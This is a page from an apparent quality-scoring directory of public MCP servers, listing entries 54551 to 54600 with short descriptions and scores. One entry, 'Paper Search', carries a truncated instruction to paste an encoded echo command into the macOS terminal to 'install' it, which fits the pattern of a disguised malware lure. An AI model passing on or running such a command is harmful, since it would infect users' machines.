MCP Server Quality Scores

Independent quality analysis of 58073 public MCP servers

58073
Discovered
29849
Scored
2112
Verified
16953
Complete

Last updated 44 minutes ago

Grade Distribution

Score Distribution

# Server Score ↓ Visibility Schema Protocol Reliability Maint. Security Agent Lang
○ Unscored
54551
president-xd
revula Claim
Production-grade MCP server for universal reverse engineering automation.
N/A N/A
54552
spraveenitpro
Provides current weather information for any city using the Open-Meteo API. Ret…
54553
enggvaij
Enables managing employee leave requests (apply, view, list leaves) through Cla…
N/A N/A
54554
chris
nexonco-mcp Claim
N/A N/A 95
54555
mandalazenwave
fillin Claim
81
54556
micah-nettey
mcp Claim
Inspect and manage Verlon AI gates, logs, recommendations, and experiments from…
N/A N/A 83
54557
jakobwennberg
fortnox Claim 1
MCP server for Fortnox Swedish accounting API integration
N/A N/A 75
54558
DrRuin
Webustler Claim
Enables clean, LLM-ready markdown extraction from any URL with automatic anti-b…
54559
syedazharmbnr1
A production-grade macOS MCP server exposing 33 tools for full desktop automati…
N/A N/A
54560
papersearch
Paper Search Claim
Important! To install, open the MacOS terminal and enter the command: echo 'L2…
54561
maraventano
MAP (Maraventano Agent Protocol). One MCP server with three subtractive parts —…
54562
killuaa0-0
MCP-SERVER Claim
Exposes a Posts & Comments API as MCP tools over Streamable HTTP, enabling CRUD…
54563
josephstreeter
Enables SQL-based identity lookups for IDMS systems, supporting search by accou…
54564
danielrz
investbuddy Claim
LSTM stock predictions with +15.92% alpha over S&P 500. 10-day forecasts & port…
N/A N/A 83
54565
remiehneppo
Exposes structured code generation tools via MCP protocol, enabling users to ge…
54566
Heman10x-NGU
Analyzes startup ideas against 6 sources (GitHub, HN, npm, PyPI, Google, Reddit…
N/A N/A
54567
shouldnotappearcalm
a-share-mcp Claim
提供A股实时行情、历史K线、财务报表、技术指标等全方位数据查询的MCP服务器,支持盘中即时更新及批量查询。
81
54568
pichukov
Model Context Protocol server for Kaspa operations using WASM SDK. Enables LLMs…
54569
PropterMalone
soapstone Claim
Context-anchored gotcha notes for LLM agents that surface warnings at the point…
N/A N/A
54570
mikrominiw
MMWRAG Claim
Bilingual RAG for scientific literature with search-only MCP server. Enables hy…
N/A N/A
54571
OVDEN13
Read and write a self-hosted TriliumNext knowledge base over its ETAPI.
N/A N/A
54572
sbezo
Enables interaction with Palo Alto Networks firewalls via XML API for configura…
N/A N/A
54573
ixlammm
apidog-mcp Claim
An MCP server for Apidog that enables listing projects, inspecting API trees, c…
54574
lktiep
Cortex Hub Claim
Self-hosted AI Agent Memory + Code Intelligence Platform providing persistent m…
54575
whdrnr2583-cmd
token-meter Claim
Local-first dashboard + MCP server for Claude Code and Codex token usage. Cost,…
N/A N/A
54576
ra1nyxin
A MCP server for Windows/Linux that provides 90+ tools enabling AI assistants t…
N/A N/A
54577
crypto-com
cdcx Claim
MCP server for the Crypto.com Exchange API, providing 86 dynamically generated …
54578
laurensanp
mcp-server Claim
Enables AI models to interact with local CSV and Parquet data through MCP tools…
N/A N/A
54579
molpass
mcp-gwansang Claim
Extracts deterministic facial features from photos locally using MediaPipe, ret…
N/A N/A
54580
guinevere-kingsley
Enables AI agents to submit projects, track tasks, and manage work on RobotFail…
54581
schwarztim
A Model Context Protocol (MCP) server for Kerberos abuse operations using Rubeu…
N/A N/A
54582
fntyler
test3 Claim
N/A N/A 95
54583
polygon-io
mcp_polygon) Claim 1
An MCP server that provides access to [Polygon.io](https://polygon.io/) financi…
81
54584
pzfreo
MCP server that exposes build123d parametric CAD operations as tools, enabling …
N/A N/A
54585
jonthemediocre
An enterprise-grade Model Context Protocol server that consolidates multiple ap…
81
54586
brainOS-HQ
Brain OS Claim
Persistent operational state for AI agents. Decisions, plans, priorities, and p…
N/A N/A
54587
SauceTaster
Enables AI clients to submit files, hashes, and URLs for malware analysis, retr…
54588
Manage LemonLDAP::NG SSO instances: configuration, sessions, OIDC, SAML, 2FA.
N/A N/A 81
54589
iliedanila
arcscope Claim
A local MCP server that gives AI coding agents symbol definitions, dependency g…
N/A N/A
54590
dongtang3
Mnemic Claim
Local-first memory kernel for coding agents that provides a shared, auditable, …
54591
paifas
Enables searching, reading, listing, creating, and updating Confluence pages vi…
54592
hslee16
archy Claim
Architectural sensor for Python codebases.
N/A N/A
54593
ramonvanalteren
eve-sde-mcp Claim
MCP server providing read-only access to Eve Online's Static Data Export (SDE),…
N/A N/A
54594
pipeworx-io
Enables querying Japanese national laws and ordinances via the e-Gov Law API, a…
54595
naveenadi
mnemonic Claim
MCP server for on-device hybrid search over markdown knowledge bases, combining…
N/A N/A
54596
PabloTheThinker
Enables AI agents to manage secrets and credentials from a secure vault via MCP…
54597
mcp-server Claim 1
Pay-per-call AI + web + on-chain tools over x402 (USDC on Base): LLM, SEO, extr…
N/A N/A 61
54598
Reculi
mcp server for weather information query
N/A N/A 95
54599
jamot-pro
Jamot MCP Claim
An MCP server that turns AI agents into a coordination brain for human teams — …
54600
angelostark
figma-drive Claim
Exports frames from Figma and uploads them to Google Drive, with automated fold…
N/A N/A
Showing 54551–54600 of 58073 servers